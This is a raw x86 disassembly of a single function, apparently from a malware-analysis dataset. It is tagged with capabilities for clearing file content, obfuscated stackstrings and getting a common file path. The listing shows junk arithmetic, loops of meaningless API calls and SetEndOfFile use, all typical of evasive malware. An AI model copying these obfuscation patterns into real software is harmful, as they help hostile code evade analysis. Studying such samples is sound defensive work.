Function at 0x4056b0
Capabilities:
Clear file content
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x4f0
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x8c], 0x4de6b815
mov dword [esp + 0xc4], 0x5d4eb625
mov dword [esp + 0xf8], 0x3db0f38d
mov dword [esp + 0xd8], 0x3cfa3f8e
mov dword [esp + 0x90], 0x2e7d317b
mov dword [esp + 0xc0], 0x1c36a855
mov dword [esp + 0x6c], 0x46124291
mov dword [esp + 0xb4], 0x4754e394
mov dword [esp + 0x68], 0x10665da
mov dword [esp + 0x84], 0x79f0d3b3
mov dword [esp + 0x88], 0x25d145da
mov dword [esp + 0x60], 0x7d4bae59
mov dword [esp + 0xa4], 0x221e1b66
mov dword [esp + 0xfc], 0x7d37cc
mov dword [esp + 0xb8], 0x7da1a9e2
mov dword [esp + 0xb0], 0x2c273d75
mov dword [esp + 0x50], 0x25fd07aa
mov dword [esp + 0x64], 0x4cbdb2d2
mov dword [esp + 0xec], 0x38194ca6
mov dword [esp + 0xcc], 0x23735f55
mov dword [esp + 0xd0], 0x25d2ae75
mov dword [esp + 0x58], 0x3b645373
mov dword [esp + 0xf0], 0x5d9cc839
mov dword [esp + 0xc8], 0x8a954d0
mov dword [esp + 0xf4], 0xbfe49af
mov dword [esp + 0xe8], 0xd068f4
mov dword [esp + 0x5c], 0x5314ef3e
mov dword [esp + 0x80], 0x60c0e90b
mov dword [esp + 0x94], 0x4e80ac75
mov dword [esp + 0x9c], 0x1a0a6ef2
mov dword [esp + 0xe0], 0x38d0c9ff
mov dword [esp + 0xa0], 0x42130a1d
mov dword [esp + 0xe4], 0x7ad4c336
mov dword [esp + 0xa8], 0x56bc23b6
mov dword [esp + 0xac], 0xd018ba9
mov dword [esp + 0x7c], 0x7017f95c
mov dword [esp + 0x98], 0x50da612b
mov dword [esp + 0xd4], 0x2a6a1402
mov dword [esp + 0x78], 0x751a0832
mov dword [esp + 0x74], 0x286a9f6c
mov dword [esp + 0x54], 0x4aacd75e
mov dword [esp + 0xbc], 0x5472561c
mov dword [esp + 0x4c], 0x2f78ee84
mov dword [esp + 0x70], 0x3af63c2
mov dword [esp + 0x48], 0x64a4156a
mov dword [esp + 0xdc], 0x41df8464
mov eax, 0x1d1f11b2
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x56784933
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x482c4dae
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
add dword [esp + 0xc4], 0x690bd041
sub dword [esp + 0x8c], 0x2c367728
sub dword [esp + 0xc4], 0x1fa7c7dd
add dword [esp + 0x8c], 0x69ad6dbc
sub dword [esp + 0xc4], 0x2bb1f8bf
sub dword [esp + 0xc4], 0x566580eb
mov eax, 0x3b409f75
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
sub dword [esp + 0x8c], 0x778ddad1
sub dword [esp + 0xc4], 0x606b32a3
add dword [esp + 0x8c], 0x12539221
add dword [esp + 0xf8], 0x29f916d0
add dword [esp + 0xc0], 0x2b53e1da
sub dword [esp + 0xc0], 0x51fcc059
sub dword [esp + 0xc4], 0x156fdb74
add dword [esp + 0xf8], 0x3c3801e6
sub dword [esp + 0xc0], 0x19b5956
add dword [esp + 0x90], 0x6945d1bf
add dword [esp + 0xd8], 0x78317dd9
add dword [esp + 0xd8], 0x5af6f5f7
add dword [esp + 0xf8], 0x422ade5e
add dword [esp + 0x90], 0x6dd10c0d
sub dword [esp + 0x8c], 0x3e08d81d
sub dword [esp + 0xc0], 0x14bf3aeb
sub dword [esp + 0xf8], 0x47184b5e
sub dword [esp + 0xc0], 0x2883ed50
mov eax, 0x70b4c9e0
mul dword [esp + 0xd8]
mov eax, dword [esp + 0xd8]
add dword [esp + 0xc4], 0x60f0918e
sub dword [esp + 0x68], 0x20873117
sub dword [esp + 0xf8], 0x629209f9
mov eax, 0x46eaf871
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
mov eax, 0x175713eb
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
sub dword [esp + 0x68], 0x29d2b429
mov eax, 0x34e66bba
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
mov eax, 0xfc460e6
mul dword [esp + 0xf8]
mov eax, dword [esp + 0xf8]
sub dword [esp + 0xfc], 0x58286649
sub dword [esp + 0xb8], 0x464dc65b
sub dword [esp + 0xf8], 0x70aed069
mov eax, 0x47916376
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
sub dword [esp + 0x8c], 0x68977acb
add dword [esp + 0x88], 0x5e15e030
add dword [esp + 0x6c], 0x5845bb7d
add dword [esp + 0x84], 0x514e9ed0
mov eax, 0x47e2eb31
mul dword [esp + 0xf8]
mov eax, dword [esp + 0xf8]
add dword [esp + 0x90], 0x3fb01ba9
mov eax, 0x28295102
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
add dword [esp + 0x8c], 0x3393a932
add dword [esp + 0xfc], 0x754f030d
mov eax, 0x2d9dfa4e
mul dword [esp + 0xf8]
mov eax, dword [esp + 0xf8]
add dword [esp + 0xb8], 0x76c23c39
add dword [esp + 0xa4], 0x41e6b6b1
sub dword [esp + 0xfc], 0x24c86b2
add dword [esp + 0xb8], 0x31c1cc7
mov eax, 0x259c7923
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x2ccdc036
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0x68], 0x43d1f9f6
mov eax, 0x6fcc2c28
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
sub dword [esp + 0x88], 0x30ad4050
sub dword [esp + 0xb4], 0x72647d62
mov eax, 0x61952090
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
mov eax, 0x5c46fda2
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
mov eax, 0x69dd3c6c
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
mov eax, 0x78f67e7c
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
sub dword [esp + 0x58], 0x26d21d15
sub dword [esp + 0x5c], 0x2e4f194c
mov eax, 0x30358c11
mul dword [esp + 0xfc]
mov eax, dword [esp + 0xfc]
mov eax, 0x6e4d6328
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
add dword [esp + 0xd0], 0x4ec75ebc
add dword [esp + 0xfc], 0x7f7938cc
add dword [esp + 0xf0], 0x131a2061
mov eax, 0x58da2e32
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
add dword [esp + 0x84], 0x2eb6558b
add dword [esp + 0xa4], 0x799f62e1
sub dword [esp + 0xf4], 0x792d8081
mov eax, 0x107e7e54
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0xa4], 0x257b55ae
sub dword [esp + 0xa4], 0x2f987866
mov eax, 0x3e61edca
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
sub dword [esp + 0x7c], 0x7dba27b6
add dword [esp + 0x9c], 0x6f73fddb
sub dword [esp + 0xf4], 0xb4bce0c
sub dword [esp + 0x98], 0x90dfe4d
sub dword [esp + 0xe0], 0x5681d583
add dword [esp + 0xb8], 0x16fc5e5b
sub dword [esp + 0x5c], 0x43796c66
mov eax, 0x44f61694
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0x9c], 0x445bea4f
sub dword [esp + 0xac], 0x553a128
mov eax, 0x22ec44c6
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
sub dword [esp + 0x84], 0x182402bb
mov eax, 0x280f5636
mul dword [esp + 0xfc]
mov eax, dword [esp + 0xfc]
add dword [esp + 0xc0], 0x52bd70d9
add dword [esp + 0xa0], 0x59053264
mov eax, 0x3e8c6049
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
sub dword [esp + 0xd4], 0x3bd314b6
add dword [esp + 0x5c], 0x12f2b95b
sub dword [esp + 0x74], 0xb21a27e
add dword [esp + 0x64], 0x24446e0
sub dword [esp + 0x84], 0x23c87596
mov eax, 0x43b39acb
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
sub dword [esp + 0xbc], 0x3d1c0451
add dword [esp + 0xac], 0x308e85fe
mov ebp, dword [sym.imp.USER32.dll_GetCaretPos]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
mov ebx, dword [sym.imp.USER32.dll_GetSysColor]
xor esi, esi
cmp esi, 0x92f
jge 0x405de7
push 0
call ebp
push 0
call edi
push 0
call ebx
cmp esi, 0x160debc
jg 0x405df8
inc esi
cmp esi, 0x379d1d5
jl 0x405dd3
cmp dword [0x5e7654], 0x400
jne 0x405e70
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawStateA]
push 0
call fcn.0040623d
add esp, 4
push 0
push 0
call fcn.004069d3
push 0
push 0
call fcn.004061fd
add esp, 8
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004060e0
fstp st(0)
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
cmp esi, 0x16d22
jge 0x405e8a
push 0
call ebp
push 0
call edi
call ebx
cmp esi, 0x12e8a06
jg 0x405ea1
inc esi
cmp esi, 0x30375
jl 0x405e7e
mov eax, dword [0x444c8c]
mov dword [0x5e7654], eax
call fcn.00405380
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, 0x2ec37
mov ebx, 0x51f
cmp dword [0x5e7654], ebx
jne 0x405ed4
lea ecx, [esp + 0x100]
push ecx
push 0
call esi
dec edi
jne 0x405ec0
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0x10